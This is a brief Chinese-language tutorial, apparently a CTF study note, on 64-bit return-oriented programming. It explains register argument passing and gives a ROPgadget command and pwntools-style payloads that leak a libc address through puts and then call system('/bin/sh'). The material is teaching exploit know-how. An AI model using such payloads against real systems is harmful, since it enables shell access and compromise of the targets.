64位rop的一些原理和思路(慢慢更新)

考察知识点

  • 64位rop

原理

寄存器传参

64位和32位程序的不同点之一就是,它的前6个参数是通过寄存器传递的,有更多的参数才用栈,所以构造rop链的方式和32位不同。

利用

利用思路

构造rop,leak出libc地址,调用system(“/bin/sh”)

环境准备

本机测试,所以我先找到自己本机用到的libc.so

gadaget准备

ROPgadget –binary xxx –only “pop|ret”

leak system地址和/bin/sh

1
2
system_addr = libc.symbols['system'] - libc.symbols['puts'] + u64(puts_addr)
sh_addr = next(libc.search('/bin/sh'))- libc.symbols['puts'] + u64(puts_addr)

构造payload

1
2
3
payload1=padding+p64(pop_rdi_ret) + p64(puts_got_addr) + p64(puts_plt_addr)

payload2=padding+p64(pop_rdi_ret) + p64(sh_addr) + p64(system_addr)